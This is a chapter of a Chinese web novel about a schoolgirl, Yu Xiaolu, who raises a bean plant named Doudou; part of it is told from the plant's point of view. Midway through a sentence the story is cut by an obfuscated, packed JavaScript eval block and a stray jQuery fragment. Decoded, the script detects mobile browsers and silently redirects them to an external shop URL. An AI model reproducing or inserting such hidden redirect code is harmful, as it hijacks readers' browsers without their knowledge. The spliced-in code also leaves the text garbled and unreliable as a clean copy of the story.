第二天早上，俞小鹿惊喜的发现，花盆里多了一颗芽。很小，从土面中央钻出来，茎是嫩白色的，顶着两片还没完全张开的子叶，像一只合拢的手掌。
她俯下身，凑近了看。“……还真能长出来？”
她伸手碰了一下那个小芽。它很软，轻轻晃了一下，又弹回原位。她看了它好一会儿，才转身去拿水壶——走了两步又回头看了一眼。还在那儿。不是做梦。
俞小鹿给它浇了点水。水流渗进干裂的土里，那个小芽在阳光下亮晶晶的。它看起来小小的、刚从土里探出头来，还不知道会长成什么样子。
“那你好好长。”俞小鹿对它说。
第二天，它的茎长高了些，离开了土面，就像一个细小的脖上顶着个大脑瓜。
第三天，它又长高了些。
第四天，那个大脑瓜像两片小叶子似的向两边长去，这可能就是植物的子叶吧。
总之它每天都在偷偷的长大，一天一个样。再后来它的子夜脱落了，长出了真正的叶子，叶子从浅绿过度到深绿，而且越长越大，形状似心形，边缘光滑。
它的茎又向上拔了拔，又长出三片嫩绿的叶子，形状却与下面的叶子形状不同，它是椭圆形的，目前茎上又长出了一个小茎，上面也长了小小的叶子，不知道将来会长成什么形状。
“假期是有植物观察的作业吗？”吃晚饭时，这俞枫随口问了句。
“没有啊，怎么了？”俞小鹿说着将一块红烧肉放进嘴里。
“我看到你窗台上养的那盆豆角，还以为你要写观察日记呢。”
“爸爸的饭庄有不少好看的花草，喜欢哪个搬回家，那株豆角就扔了吧。”
“豆角？”
“爸，你说那是豆角？”
“对呀，爷爷家的园子里种了好多呢。”
俞小鹿瞬间觉得嘴里的肉都不香了。
俞小鹿躺在床上，她看着摆在桌上的藤蔓，目前还没接出豆角。
“一百块的豆角，应该是史前最贵的吧？”
她可得好好养着，万一是真能结出豆角，炖土豆吃也算没白养它。要是死了那成本可就太高了。
得给它去个名字，凡是她俞小鹿的东西都得有名字。叫什么名好呢？
豆豆？豆豆怎么样？不错，就它了。
每天早上的那一眼，成了俞小鹿整个假期里最固定的动作。
她会和它说话。一开始只是零星的几句——“你今天好像又高了”“叶子怎么歪了”。
有一次，她把脸凑得很近，小声说了一句：“豆豆，你要是能说话就好了。”叶子晃了一下，像是被风吹的，又像是它自己动了一下。她不确定，但她没有追问。
白天她把花盆搬到书房，晚上搬回卧室。
“晚安，豆豆。”俞小鹿用手指轻抚一下它的叶子，然后关灯。
“豆豆”是个忠实的听众。她喜欢对着它背英语课文，给它讲历史故事，也会跟它说起关于李昊城的事。青春的懵懂心动，总是让人难以忘怀。“豆豆”没有回应，但她在说话的时候，总觉得它那片最高的叶子会朝她这边偏一点点。可能是风，可能是光，她不确定。
在一次翻开数学作业时，满眼的鬼画符让她略显头疼。于是轻车熟路的在网络上找到了答案。她刚准备抄，忽然觉得像有双眼睛在看她。
俞小鹿抬起头，刚好看到“豆豆”站在书桌上，叶子朝向她。她盯着它看了两秒：“你看什么看。”转回去，笔尖抵在答案第一行——停住了。她想了想，把手机扣在桌上，端着花盆去了阳台。“你去那边待着吧，你在这儿我写不了。”
她回到书桌前坐下，又站起来，走到阳台门口看了一眼。那盆豆角在阳光下安安静静地站着，最上面那片叶子朝里歪着，像在找一个角度看她。“……算了。”她又把它端了回来。“那你待这儿吧。别看我写就行。”
她重新坐下，拿起笔，在作业本上写了一个“解”字，然后画了一个问号。“豆豆”在桌上安静地站着，叶子在阳光下泛着一层很淡的光。那个问号留在纸上，她没有擦掉。那个天她没抄答案，也没有做出那道题，但她在问号旁边画了一个很小的小人，蹲在那里，像是在等什么东西。
这天，丁玲突然发了张截图给她。
点开一看，是李欣悦的朋友圈。图片上是一块草莓蛋糕，白色的奶油顶，草莓切成两半摆成一圈。配文写的是：“不愧是‘三杰’里的颜值担当，就连选的蛋糕都这么好看。”
俞小鹿盯着那句话看了两遍。
什么意思，是官宣了吗？
丁玲又发来一句文字。
“李昊城也不过如此，还真是高看他了。”
看来丁玲和自己的反应一样。
俞小鹿把手机反扣在沙发垫上，拿起了茶几上的遥控器。
丁玲应该还不知道自己暗恋李昊城的事，否则她是不会和自己说这样的话的。
她看了几秒电视，把遥控器放下，又拿起手机，把那张截图放大看了一眼。虽然早就决定不在喜欢了，但眼角还是有点酸酸的。她关掉屏幕，把手机扔回沙发上。
“……随便吧。”
假期转瞬即逝，俞小鹿的数学没什么长进，“豆豆”却真的长出了豆角，还多长了好几片叶子。它的藤蔓更长了，爸爸给它做了个小架子，插在花盆里，它的藤蔓就顺着架子往上爬。像是一种无声的、成功的对比。
它不需要上辅导班，不需要刷题，只要每天浇水、晒太阳，它就能按部就班地长大。没有天赋焦虑，没有“为什么我做不到”的内心戏。俞小鹿觉得它比自己更懂得如何活着。
当天晚上，俞小鹿做了个怪梦。梦里一团白雾，看不清是什么，只有一个声音在问她——如果上天派一个守护神给你，你希望是男生还是女生。她没有回答。醒来的时候天还没亮，窗台上的花盆在月光下泛着淡淡的绿光。她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786639|210194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看了它一眼，翻了个身又睡着了。
窗外有风吹过，整个藤蔓向俞小鹿的床边倾了倾。距离虽远，但足够它看清她的睡颜。
她睡着了，呼吸轻且均匀。
它的根须埋在土里的时候，这小丫头就喜欢絮絮叨叨的和自己说话。只是那时它还不太明白外面那个声音是什么。
一开始只是振动。从土面上方传下来，穿过土层，落在它的胚芽上——像水珠在叶面上，轻轻颤一下就不见了。后来它学会了分辨那些振动的差别，每一层都有它自己的节奏：急促的时候像一根被拉紧的线，平缓的时候像有东西在往下沉。再后来它终于听懂了那是人声，一个女孩的声音，是从它头顶上方的某个位置传下来的。
自己经常听到她说，数学、物理那是它想象不出来的东西。但她说那些词的时候，声音会变薄、变脆，像一片叶子从高处掉下来，边缘在风里打着卷儿。
自己唯一一次听懂的话是，“害虫、拉低班级平均分。”
——它是从土壤里长大的，害虫是人类给别的生物贴的标签。在它理解的世界里，虫子吃叶子，叶子会长新的，一切都在循环。但它注意到她的声音变紧了，像一根被拉得太长的藤蔓，快要断了。他好想伸出手碰了碰她的袖口，但它做不到。
外面的那个人，好像还很脆弱，很爱哭。有时哭声是湿的，像雨水打在地面上，一下就渗下去了。有的哭声是干的，像一颗种子卡在石头缝里，她说完之后很久，土里还留着那层振动，像一层没有收走的气压。
它会把自己的根须朝她说话的方向伸过去，但它的根须太细了，穿过土层的时候只能推动几颗比米粒还小的土粒——它们可能永远也不会被看见，但它已经用尽了力气。
直到那天，她站在花盆前站了很久。然后有东西落进土里了。很轻，很快就被土吸收了。但那个东西落在土里的时候，她的声音是它听过的最完整的一次——像是在替别人转述一段她希望自己并不记得的过去。那是她第一次把一些东西完整地放在土里，没有留下任何一部分给自己。她知道它听不懂。但她还是说了。
那天之后，它长得比之前快了很多。它不知道那是为什么，只是有一种说不清的催促感。像土里有什么东西在推着它往上走，让它比预想中更早地开始考虑：如果有一天它能开口说话，它要对她说些什么。
她有一个本子。每次打开那个本子的时候，她的呼吸会变深。铅笔在纸上移动的声音很轻，她画画的时候，整个身体会朝本子的方向微微前倾，像一棵植物向光弯曲一样，她向着纸面倾斜。它不知道那些画是什么样的，但它能感觉到她画出那些线条之后，身体会松开一小截，像有人替她把一个很紧的结解开了一点点。
它现在唯一能做的就是，在第二天一早上，她睁开眼睛的时候，发现它的茎比昨天又高了一截——这大概是它唯一能给她的回应。它说不出口，但它会让自己的生长方向一直朝向她。